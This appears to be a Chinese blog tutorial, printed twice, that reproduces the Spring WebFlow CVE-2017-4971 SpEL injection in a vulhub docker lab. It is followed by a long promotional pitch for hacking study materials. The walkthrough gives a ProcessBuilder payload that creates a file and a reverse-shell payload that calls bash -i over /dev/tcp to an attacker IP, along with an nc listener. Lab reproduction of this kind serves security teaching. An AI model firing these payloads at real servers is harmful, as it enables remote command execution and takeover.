小白/程序员速看Spring WebFlow CVE-2017-4971远程代码执行漏洞复现本文围绕Spring WebFlow CVE-2017-4971远程代码执行漏洞展开讲解其原理、实验环境搭建与完整复现步骤涵盖靶机启动、抓包修改POC执行命令、反弹shell等实操内容帮助网安小白及程序员掌握该漏洞利用方法加深对Spring框架安全的认知。免责声明严格禁止对任何未授权系统/网络进行扫描、攻击或入侵。 禁止制作/传播恶意程序禁止参与任何网络犯罪。如擅自将本文实验技术用于非法用途一切法律后果及责任由行为人独立承担与作者无关。Spring WebFlow 远程代码执行漏洞CVE-2017-4971实验目的通过本实验掌握Spring WebFlow 远程代码执行漏洞原理和利用方法加深了解Spring WebFlow框架。实验环境·操作机Win10用户名Administrator密码Sangfor!7890·操作机kali用户名root密码Sangfor!7890·靶机Ubuntu docker用户名root密码Sangfor!7890·实验地址http://ip:8080/login实验原理由于Spring的框架越来越多而且后面引入了SpringEl作为默认的表达式解析方式所以一旦引入了类似于OGNL的表达式很可能会带来一些安全问题。本次漏洞就是由于Spring WebFlow是一个适用于开发基于流程的应用程序的框架如购物逻辑可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中如果我们控制了数据绑定时的field将导致一个SpEL表达式注入漏洞最终造成任意命令执行。漏洞介绍该漏洞在2017年5月31号被提交到https://pivotal.io/security/cve-2017-4971平台官方并没有详细的信息通过官方描述和补丁的对比我们可以大致推断应该是Spring WebFlow在Model的数据绑定上面由于没有明确指定相关model的具体属性导致从表单可以提交恶意的表达式从而被执行导致任意代码执行的漏洞这个漏洞利用除了版本的限制之外还有两个前置条件这两个前置条件中有一个是默认配置另外一个就是编码规范了漏洞能不能利用成功主要就取决于后面的条件。实验步骤第一步启动目标靶机的环境1、登录Spring WebFlow靶机执行如下命令进入目标环境所在目录cd /vulhub-mastercd springcd CVE-2017-49712、执行以下命令运行目标靶机的环境docker-compose up -d3、登录“Attack”操作机打开浏览器访问http://靶机ip:8080看到酒店预订页面说明靶机环境启动成功第二步漏洞复现4、通过“Attack”操作机的浏览器访问http://靶机ip:8080看到登录页面5、用页面左边给出的任意一个账号/密码登录网站6、访问id为1的酒店http://靶机ip:8080/hotels/1点击预订按钮“Book Hotel”填写相关信息后点击“Process”从这一步WebFlow就正式开始了7、打开桌面的的“Burp”文件夹双击“BURP.cmd”启动Burp Suite抓包工具8、切换到“Proxy”代理模块的“Options”查看Bp的代理9、切换到浏览器选择火狐插件中的代理配置浏览器的的代理与Bp的代理一致10、点击确认“Confirm”按钮确认酒店预订信息Bp成功抓取数据包然后将数据包send to repeater11、修改数据包加入要执行的代码然后发送数据包会返回500的状态码注意一定要URL编码即newjava.lang.ProcessBuilder创建文件POC_(new java.lang.ProcessBuilder(“touch”,“/tmp/success”)).start()sy验证文件是否创建成功12、进入靶机服务器在docker靶机里可以看到已经在/tmp目录下成功创建了success文件注意是进入docker里执行如下命令docker ps 查看靶机环境对应的docker容器IDdocker exec -it 容器ID bash 进入docker环境cd /tmp 进入tmp目录ls 查看文件反弹shell13、首先在kali输入以下命令来监听端口nc -l -p 2114、修改数据包输入POC【_(new java.lang.ProcessBuilder(“bash”,“-c”,“bash -i /dev/tcp/【kali攻击机ip】/21 01”)).start()sy】反弹shell15、获得shell可以执行系统命令实验总结通过本实验对Spring WebFlow框架进行远程代码执行成功向服务器写入文件并执行相关命令反弹shell深入了解远程代码执行漏洞的危害。互动话题如果你对网络攻防技术感兴趣想学习更多网安方面的知识和工具可以看看以下题外话题外话黑客/网络安全学习路线今天只要你给我的文章点赞我私藏的网安学习资料一样免费共享给你们来看看有哪些东西。网络安全学习资源分享:下面给大家分享一份2026最新版的网络安全学习路线资料帮助新人小白更系统、更快速的学习黑客技术一、2026最新网络安全学习路线一个明确的学习路线可以帮助新人了解从哪里开始按照什么顺序学习以及需要掌握哪些知识点。对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图学习规划。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。**读者福利 |***CSDN大礼包《网络安全入门进阶学习资源包》免费分享 *安全链接放心点击我们把学习路线分成L1到L4四个阶段一步步带你从入门到进阶从理论到实战。L1级别:网络安全的基础入门L1阶段我们会去了解计算机网络的基础知识以及网络安全在行业的应用和分析学习理解安全基础的核心原理关键技术以及PHP编程基础通过证书考试可以获得NISP/CISP。可就业安全运维工程师、等保测评工程师。L2级别网络安全的技术进阶L2阶段我们会去学习渗透测试包括情报收集、弱口令与口令爆破以及各大类型漏洞还有漏洞挖掘和安全检查项目可参加CISP-PTE证书考试。L3级别网络安全的高阶提升L3阶段我们会去学习反序列漏洞、RCE漏洞也会学习到内网渗透实战、靶场实战和技术提取技术系统学习Python编程和实战。参加CISP-PTE考试。L4级别网络安全的项目实战L4阶段我们会更加深入进行实战训练包括代码审计、应急响应、红蓝对抗以及SRC的挖掘技术。并学习CTF夺旗赛的要点和刷题整个网络安全学习路线L1主要是对计算机网络安全的理论基础的一个学习掌握而L3 L4更多的是通过项目实战来掌握核心技术针对以上网安的学习路线我们也整理了对应的学习视频教程和配套的学习资料。二、技术文档和经典PDF书籍书籍和学习文档资料是学习网络安全过程中必不可少的我自己整理技术文档包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点电子书也有200多本书籍含电子版PDF三、网络安全视频教程对于很多自学或者没有基础的同学来说书籍这些纯文字类的学习教材会觉得比较晦涩难以理解因此我们提供了丰富的网安视频教程以动态、形象的方式展示技术概念帮助你更快、更轻松地掌握核心知识。网上虽然也有很多的学习资源但基本上都残缺不全的这是我自己录的网安视频教程上面路线图的每一个知识点我都有配套的视频讲解。四、网络安全护网行动/CTF比赛学以致用当你的理论知识积累到一定程度就需要通过项目实战在实际操作中检验和巩固你所学到的知识同时为你找工作和职业发展打下坚实的基础。五、网络安全工具包、面试题和源码“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等感兴趣的同学不容错过。面试不仅是技术的较量更需要充分的准备。在你已经掌握了技术之后就需要开始准备面试我们将提供精心整理的网安面试题库涵盖当前面试中可能遇到的各种技术问题让你在面试中游刃有余。如果你是要找网安方面的工作它们绝对能帮你大忙。这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的如果大家有好的题目或者好的见解欢迎分享。参考解析深信服官网、奇安信官网、Freebuf、csdn等内容特点条理清晰含图像化表示更加易懂。内容概要包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…**读者福利 |***CSDN大礼包《网络安全入门进阶学习资源包》免费分享 *安全链接放心点击文章来自网上侵权请联系博主
小白_程序员速看!Spring WebFlow CVE-2017-4971远程代码执行漏洞复现
小白/程序员速看Spring WebFlow CVE-2017-4971远程代码执行漏洞复现本文围绕Spring WebFlow CVE-2017-4971远程代码执行漏洞展开讲解其原理、实验环境搭建与完整复现步骤涵盖靶机启动、抓包修改POC执行命令、反弹shell等实操内容帮助网安小白及程序员掌握该漏洞利用方法加深对Spring框架安全的认知。免责声明严格禁止对任何未授权系统/网络进行扫描、攻击或入侵。 禁止制作/传播恶意程序禁止参与任何网络犯罪。如擅自将本文实验技术用于非法用途一切法律后果及责任由行为人独立承担与作者无关。Spring WebFlow 远程代码执行漏洞CVE-2017-4971实验目的通过本实验掌握Spring WebFlow 远程代码执行漏洞原理和利用方法加深了解Spring WebFlow框架。实验环境·操作机Win10用户名Administrator密码Sangfor!7890·操作机kali用户名root密码Sangfor!7890·靶机Ubuntu docker用户名root密码Sangfor!7890·实验地址http://ip:8080/login实验原理由于Spring的框架越来越多而且后面引入了SpringEl作为默认的表达式解析方式所以一旦引入了类似于OGNL的表达式很可能会带来一些安全问题。本次漏洞就是由于Spring WebFlow是一个适用于开发基于流程的应用程序的框架如购物逻辑可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中如果我们控制了数据绑定时的field将导致一个SpEL表达式注入漏洞最终造成任意命令执行。漏洞介绍该漏洞在2017年5月31号被提交到https://pivotal.io/security/cve-2017-4971平台官方并没有详细的信息通过官方描述和补丁的对比我们可以大致推断应该是Spring WebFlow在Model的数据绑定上面由于没有明确指定相关model的具体属性导致从表单可以提交恶意的表达式从而被执行导致任意代码执行的漏洞这个漏洞利用除了版本的限制之外还有两个前置条件这两个前置条件中有一个是默认配置另外一个就是编码规范了漏洞能不能利用成功主要就取决于后面的条件。实验步骤第一步启动目标靶机的环境1、登录Spring WebFlow靶机执行如下命令进入目标环境所在目录cd /vulhub-mastercd springcd CVE-2017-49712、执行以下命令运行目标靶机的环境docker-compose up -d3、登录“Attack”操作机打开浏览器访问http://靶机ip:8080看到酒店预订页面说明靶机环境启动成功第二步漏洞复现4、通过“Attack”操作机的浏览器访问http://靶机ip:8080看到登录页面5、用页面左边给出的任意一个账号/密码登录网站6、访问id为1的酒店http://靶机ip:8080/hotels/1点击预订按钮“Book Hotel”填写相关信息后点击“Process”从这一步WebFlow就正式开始了7、打开桌面的的“Burp”文件夹双击“BURP.cmd”启动Burp Suite抓包工具8、切换到“Proxy”代理模块的“Options”查看Bp的代理9、切换到浏览器选择火狐插件中的代理配置浏览器的的代理与Bp的代理一致10、点击确认“Confirm”按钮确认酒店预订信息Bp成功抓取数据包然后将数据包send to repeater11、修改数据包加入要执行的代码然后发送数据包会返回500的状态码注意一定要URL编码即newjava.lang.ProcessBuilder创建文件POC_(new java.lang.ProcessBuilder(“touch”,“/tmp/success”)).start()sy验证文件是否创建成功12、进入靶机服务器在docker靶机里可以看到已经在/tmp目录下成功创建了success文件注意是进入docker里执行如下命令docker ps 查看靶机环境对应的docker容器IDdocker exec -it 容器ID bash 进入docker环境cd /tmp 进入tmp目录ls 查看文件反弹shell13、首先在kali输入以下命令来监听端口nc -l -p 2114、修改数据包输入POC【_(new java.lang.ProcessBuilder(“bash”,“-c”,“bash -i /dev/tcp/【kali攻击机ip】/21 01”)).start()sy】反弹shell15、获得shell可以执行系统命令实验总结通过本实验对Spring WebFlow框架进行远程代码执行成功向服务器写入文件并执行相关命令反弹shell深入了解远程代码执行漏洞的危害。互动话题如果你对网络攻防技术感兴趣想学习更多网安方面的知识和工具可以看看以下题外话题外话黑客/网络安全学习路线今天只要你给我的文章点赞我私藏的网安学习资料一样免费共享给你们来看看有哪些东西。网络安全学习资源分享:下面给大家分享一份2026最新版的网络安全学习路线资料帮助新人小白更系统、更快速的学习黑客技术一、2026最新网络安全学习路线一个明确的学习路线可以帮助新人了解从哪里开始按照什么顺序学习以及需要掌握哪些知识点。对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图学习规划。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。**读者福利 |***CSDN大礼包《网络安全入门进阶学习资源包》免费分享 *安全链接放心点击我们把学习路线分成L1到L4四个阶段一步步带你从入门到进阶从理论到实战。L1级别:网络安全的基础入门L1阶段我们会去了解计算机网络的基础知识以及网络安全在行业的应用和分析学习理解安全基础的核心原理关键技术以及PHP编程基础通过证书考试可以获得NISP/CISP。可就业安全运维工程师、等保测评工程师。L2级别网络安全的技术进阶L2阶段我们会去学习渗透测试包括情报收集、弱口令与口令爆破以及各大类型漏洞还有漏洞挖掘和安全检查项目可参加CISP-PTE证书考试。L3级别网络安全的高阶提升L3阶段我们会去学习反序列漏洞、RCE漏洞也会学习到内网渗透实战、靶场实战和技术提取技术系统学习Python编程和实战。参加CISP-PTE考试。L4级别网络安全的项目实战L4阶段我们会更加深入进行实战训练包括代码审计、应急响应、红蓝对抗以及SRC的挖掘技术。并学习CTF夺旗赛的要点和刷题整个网络安全学习路线L1主要是对计算机网络安全的理论基础的一个学习掌握而L3 L4更多的是通过项目实战来掌握核心技术针对以上网安的学习路线我们也整理了对应的学习视频教程和配套的学习资料。二、技术文档和经典PDF书籍书籍和学习文档资料是学习网络安全过程中必不可少的我自己整理技术文档包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点电子书也有200多本书籍含电子版PDF三、网络安全视频教程对于很多自学或者没有基础的同学来说书籍这些纯文字类的学习教材会觉得比较晦涩难以理解因此我们提供了丰富的网安视频教程以动态、形象的方式展示技术概念帮助你更快、更轻松地掌握核心知识。网上虽然也有很多的学习资源但基本上都残缺不全的这是我自己录的网安视频教程上面路线图的每一个知识点我都有配套的视频讲解。四、网络安全护网行动/CTF比赛学以致用当你的理论知识积累到一定程度就需要通过项目实战在实际操作中检验和巩固你所学到的知识同时为你找工作和职业发展打下坚实的基础。五、网络安全工具包、面试题和源码“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等感兴趣的同学不容错过。面试不仅是技术的较量更需要充分的准备。在你已经掌握了技术之后就需要开始准备面试我们将提供精心整理的网安面试题库涵盖当前面试中可能遇到的各种技术问题让你在面试中游刃有余。如果你是要找网安方面的工作它们绝对能帮你大忙。这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的如果大家有好的题目或者好的见解欢迎分享。参考解析深信服官网、奇安信官网、Freebuf、csdn等内容特点条理清晰含图像化表示更加易懂。内容概要包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…**读者福利 |***CSDN大礼包《网络安全入门进阶学习资源包》免费分享 *安全链接放心点击文章来自网上侵权请联系博主